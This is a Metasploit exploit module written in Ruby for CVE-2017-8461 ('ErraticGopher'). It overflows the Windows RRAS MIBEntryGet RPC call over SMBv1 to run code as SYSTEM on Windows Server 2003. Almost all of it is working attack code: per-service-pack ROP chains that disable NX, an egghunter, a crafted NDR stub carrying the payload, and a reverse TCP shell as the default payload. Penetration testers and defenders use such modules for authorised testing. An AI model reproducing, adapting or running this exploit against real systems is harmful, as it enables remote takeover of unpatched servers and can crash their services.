312 lines
12 KiB
Ruby
312 lines
12 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = AverageRanking
|
|
|
|
include Msf::Exploit::Remote::Egghunter
|
|
include Msf::Exploit::Remote::DCERPC
|
|
include Msf::Exploit::Remote::SMB::Client
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Microsoft Windows RRAS Service MIBEntryGet Overflow',
|
|
'Description' => %q{
|
|
This module exploits an overflow in the Windows Routing and Remote
|
|
Access Service (RRAS) to execute code as SYSTEM.
|
|
|
|
The RRAS DCERPC endpoint is accessible to unauthenticated users via
|
|
SMBv1 browser named pipe on Windows Server 2003 and Windows XP hosts;
|
|
however, this module targets Windows Server 2003 only.
|
|
|
|
Since the service is hosted inside svchost.exe, a failed exploit
|
|
attempt can cause other system services to fail as well.
|
|
|
|
The module has been successfully tested on:
|
|
|
|
Windows Server 2003 SP0 (x86);
|
|
Windows Server 2003 SP1 (x86);
|
|
Windows Server 2003 SP2 (x86); and
|
|
Windows Server 2003 R2 SP2 (x86).
|
|
},
|
|
'Author' => [
|
|
'Equation Group', # ERRATICGOPHER
|
|
'Shadow Brokers', # Equation Group dump
|
|
'Víctor Portal', # Python exploit for Windows Server 2003 SP2 with DEP bypass
|
|
'bcoles', # Metasploit
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
['CVE', '2017-8461'],
|
|
['CWE', '119'],
|
|
['BID', '99012'],
|
|
['EDB', '41929'],
|
|
['PACKETSTORM', '147593'],
|
|
['URL', 'https://www.securitytracker.com/id/1038701'],
|
|
['URL', 'https://github.com/x0rz/EQGRP_Lost_in_Translation/blob/master/windows/exploits/Erraticgopher-1.0.1.0.xml'],
|
|
['URL', 'https://support.microsoft.com/en-us/topic/microsoft-security-advisory-4025685-guidance-for-older-platforms-june-13-2017-05151e8a-bd7f-f769-43df-38d2c24f96cd'],
|
|
['URL', 'https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa374540(v=vs.85)'],
|
|
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/ebc5c709-36d8-4520-a0ac-6f36d2d6c0b2'],
|
|
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/5dca234b-bea4-4e67-958e-5459a32a7b71'],
|
|
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/4305d67f-9273-49fe-a067-909b6ae8a341'],
|
|
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/3ca0723e-36ea-448a-a97e-1906dd3d07a6'],
|
|
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/dda988f0-4cce-4ffe-b8c9-d5199deafba5'],
|
|
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/169e435d-a975-4c1c-bf41-55fd2bd76125'],
|
|
],
|
|
'DefaultOptions' => {
|
|
'EXITFUNC' => 'thread',
|
|
'PAYLOAD' => 'windows/shell/reverse_tcp'
|
|
},
|
|
'Privileged' => true,
|
|
'Payload' => {
|
|
'Space' => 1065,
|
|
'BadChars' => "\x00",
|
|
'EncoderType' => Msf::Encoder::Type::AlphanumMixed
|
|
},
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_X86,
|
|
'Targets' => [
|
|
[ 'Automatic', { 'auto' => true } ],
|
|
[
|
|
'Windows Server 2003 SP0 (English)',
|
|
{
|
|
'os' => 'Windows 2003',
|
|
'sp' => '',
|
|
'lang' => 'English'
|
|
}
|
|
],
|
|
[
|
|
'Windows Server 2003 SP1 (English) (NX)',
|
|
{
|
|
'os' => 'Windows 2003',
|
|
'sp' => 'Service Pack 1',
|
|
'lang' => 'English'
|
|
}
|
|
],
|
|
[
|
|
'Windows Server 2003 SP2 (English) (NX)',
|
|
{
|
|
'os' => 'Windows 2003',
|
|
'sp' => 'Service Pack 2',
|
|
'lang' => 'English'
|
|
}
|
|
],
|
|
[
|
|
'Windows Server 2003 R2 SP2 (English) (NX)',
|
|
{
|
|
'os' => 'Windows 2003 R2',
|
|
'sp' => 'Service Pack 2',
|
|
'lang' => 'English'
|
|
}
|
|
],
|
|
],
|
|
'Notes' => {
|
|
'AKA' => [ 'ErraticGopher' ],
|
|
'Stability' => [ CRASH_SERVICE_DOWN ],
|
|
'SideEffects' => [ IOC_IN_LOGS ],
|
|
'Reliability' => [ UNRELIABLE_SESSION ]
|
|
},
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2017-06-13'
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('SMBPIPE', [ true, 'The pipe name to use', 'browser']),
|
|
])
|
|
|
|
deregister_options('SMB::ProtocolVersion')
|
|
end
|
|
|
|
def payload_win2k3sp0
|
|
rop = [0x0ffef4c9].pack('V')
|
|
# rsaenh.dll:
|
|
# 0FFEF4C9 54 PUSH ESP
|
|
# 0FFEF4CA 24 04 AND AL,4
|
|
# 0FFEF4CC 8B4C24 0C MOV ECX,DWORD PTR SS:[ESP+C]
|
|
# 0FFEF4D0 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8]
|
|
# 0FFEF4D4 3BD1 CMP EDX,ECX
|
|
# 0FFEF4D6 73 05 JNB SHORT rsaenh.0FFEF4DD
|
|
# 0FFEF4D8 F7F1 DIV ECX
|
|
# 0FFEF4DA C2 0C00 RETN 0C
|
|
rop += make_nops(1152 - payload.encoded.length)
|
|
rop += payload.encoded
|
|
rop
|
|
end
|
|
|
|
def payload_win2k3sp1
|
|
egg_options = {
|
|
eggtag: rand_text_alpha(4)
|
|
}
|
|
|
|
hunter, egg = generate_egghunter(
|
|
payload.encoded,
|
|
payload_badchars,
|
|
egg_options
|
|
)
|
|
|
|
# NX disable routine for Windows Server 2003 SP1
|
|
rop = [0x71c0bf7c].pack('V') # push esp ; pop esi ; retn @ws2_32.dll
|
|
rop += "\x90" * 16 # padding
|
|
rop += [0x77c1a864].pack('V') # push esp ; pop ebp ; retn 4 @gdi32.dll
|
|
rop += [0x7c803ec2].pack('V') # ret 20 @ntdll.dll
|
|
rop += [0x773b24da].pack('V') # jmp esp @user32.dll
|
|
rop += [0x77bde7f6].pack('V') # add esp,2c ; retn @msvcrt.dll
|
|
rop += "\x90" * 2 # padding
|
|
rop += hunter # egg hunter
|
|
rop += "\x90" * 42 # padding
|
|
rop += [0x7c83e413].pack('V') # disable NX routine @ntdll.dll
|
|
rop += "\x90" * 104 # padding
|
|
rop += egg # egg + payload
|
|
rop
|
|
end
|
|
|
|
def payload_win2k3sp2
|
|
egg_options = {
|
|
eggtag: rand_text_alpha(4)
|
|
}
|
|
|
|
hunter, egg = generate_egghunter(
|
|
payload.encoded,
|
|
payload_badchars,
|
|
egg_options
|
|
)
|
|
|
|
# NX disable routine for Windows Server 2003 [R2] SP2
|
|
rop = [0x71c0db30].pack('V') # push esp ; pop esi ; retn @ws2_32.dll
|
|
rop += "\x90" * 16 # padding
|
|
rop += [0x77c177e9].pack('V') # push esp ; pop ebp ; retn 4 @gdi32.dll
|
|
rop += [0x7c817a5d].pack('V') # ret 20 @ntdll.dll
|
|
rop += [0x77384271].pack('V') # jmp esp @user32.dll
|
|
rop += [0x77bde7f6].pack('V') # add esp,2c ; retn @msvcrt.dll
|
|
rop += "\x90" * 2 # padding
|
|
rop += hunter # egg hunter
|
|
rop += "\x90" * 42 # padding
|
|
rop += [0x7c83f517].pack('V') # disable NX routine @ntdll.dll
|
|
rop += "\x90" * 104 # padding
|
|
rop += egg # egg + payload
|
|
rop
|
|
end
|
|
|
|
def check
|
|
begin
|
|
connect(versions: [1])
|
|
smb_login
|
|
rescue Rex::Proto::SMB::Exceptions::LoginError => e
|
|
if e.message.include?('Connection reset')
|
|
return CheckCode::Unknown('Connection reset during login. This most likely means a previous exploit attempt caused the service to crash.')
|
|
end
|
|
|
|
return CheckCode::Safe("SMB error: #{e.message}")
|
|
end
|
|
|
|
handle = dcerpc_handle('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
|
|
|
|
begin
|
|
dcerpc_bind(handle)
|
|
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
|
return CheckCode::Safe("SMB error: #{e.message}")
|
|
end
|
|
|
|
CheckCode::Detected('RRAS enabled and accessible.')
|
|
end
|
|
|
|
def exploit
|
|
begin
|
|
connect(versions: [1])
|
|
smb_login
|
|
rescue Rex::Proto::SMB::Exceptions::LoginError => e
|
|
if e.message.include?('Connection reset')
|
|
fail_with(Failure::UnexpectedReply, 'Connection reset during login. This most likely means a previous exploit attempt caused the service to crash.')
|
|
end
|
|
raise e
|
|
end
|
|
|
|
handle = dcerpc_handle('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
|
|
|
|
print_status("Binding to #{handle} ...")
|
|
|
|
begin
|
|
dcerpc_bind(handle)
|
|
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
|
fail_with(Failure::NotVulnerable, "SMB error: #{e.message}")
|
|
end
|
|
|
|
print_status("Bound to #{handle} ...")
|
|
|
|
my_target = target
|
|
|
|
if target.name == 'Automatic'
|
|
print_status('Selecting a target ...')
|
|
|
|
fingerprint = smb_fingerprint
|
|
|
|
os = fingerprint['os']
|
|
sp = fingerprint['sp']
|
|
lang = fingerprint['lang']
|
|
print_status("Fingerprint: #{os}#{sp.blank? ? '' : " (#{sp})"} - Language: #{lang}")
|
|
|
|
if lang == 'Unknown'
|
|
lang = 'English'
|
|
print_status("Could not detect the language pack, defaulting to #{lang}")
|
|
end
|
|
|
|
my_target = targets.select { |t| t['os'] == os && t['sp'] == sp && t['lang'] == lang }.first
|
|
|
|
unless my_target
|
|
fail_with(Failure::NoTarget, 'Unable to automatically detect a target')
|
|
end
|
|
end
|
|
|
|
print_status("Using target: #{my_target.name}")
|
|
|
|
case my_target.name
|
|
when 'Windows Server 2003 SP0 (English)'
|
|
buf = payload_win2k3sp0
|
|
when 'Windows Server 2003 SP1 (English) (NX)'
|
|
buf = payload_win2k3sp1
|
|
when 'Windows Server 2003 SP2 (English) (NX)'
|
|
buf = payload_win2k3sp2
|
|
when 'Windows Server 2003 R2 SP2 (English) (NX)'
|
|
buf = payload_win2k3sp2 # same as SP2
|
|
else
|
|
fail_with(Failure::NoTarget, 'Invalid target')
|
|
end
|
|
|
|
mib = NDR.long(8) # dwVarID (MIB_OPAQUE_QUERY) # IP_FORWARDROW
|
|
mib += "\x90" * 4 # rgdwVarIndex[0] dwForwardDest # junk IPv4 address
|
|
mib += NDR.long(0) # rgdwVarIndex[1] dwForwardMask # junk IPv4 net mask
|
|
mib += NDR.long(0) # rgdwVarIndex[2] dwForwardPolicy # 0 (default forward policy)
|
|
mib += "\x90" * 4 # rgdwVarIndex[3] dwForwardNextHop # junk IPv4 address
|
|
mib += "\x90" * 4 # rgdwVarIndex[4] dwForwardIfIndex # junk network interface index for next hop
|
|
mib += buf # rgdwVarIndex[5] dwForwardType # payload
|
|
mib += "\x90" * (1840 - mib.length) # MIB length padding # junk
|
|
|
|
stub = NDR.long(0x21) # dwPid (RMIBEntryGet) # PID_IP (IPv4)
|
|
stub += NDR.long(0x2710) # dwRoutingPid (RMIBEntryGet) # IPRTRMGR_PID (IP router manager)
|
|
stub += NDR.long(mib.length) # dwMibInEntrySize (DIM_MIB_ENTRY_CONTAINER) # MIB in size
|
|
stub += "\x90" * 4 # pMibInEntry (DIM_MIB_ENTRY_CONTAINER) # MIB_OPAQUE_QUERY pointer (ignored)
|
|
stub += NDR.long(4) # dwVarId (MIB_OPAQUE_QUERY) # IP_ADDRTABLE
|
|
stub += "\x90" * 4 # rgdwVarIndex (MIB_OPAQUE_QUERY) # unused (ignored)
|
|
stub += NDR.long(mib.length) # dwMibOutEntrySize (DIM_MIB_ENTRY_CONTAINER) # MIB out size
|
|
stub += mib # our friendly MIB entry data with payload
|
|
stub += NDR.long(4) # dwId (MIB_OPAQUE_INFO) # IP_ADDRTABLE (same as dwVarId)
|
|
stub += NDR.long(0) # ullAlign (MIB_OPAQUE_INFO) # zero aligning bytes
|
|
|
|
print_status("Calling RRAS MIBEntryGet with payload (#{stub.length} bytes) ...")
|
|
|
|
begin
|
|
dcerpc.call(0x1d, stub, false)
|
|
rescue StandardError => e
|
|
raise e unless e.to_s.include?('STATUS_PIPE_DISCONNECTED')
|
|
end
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
end
|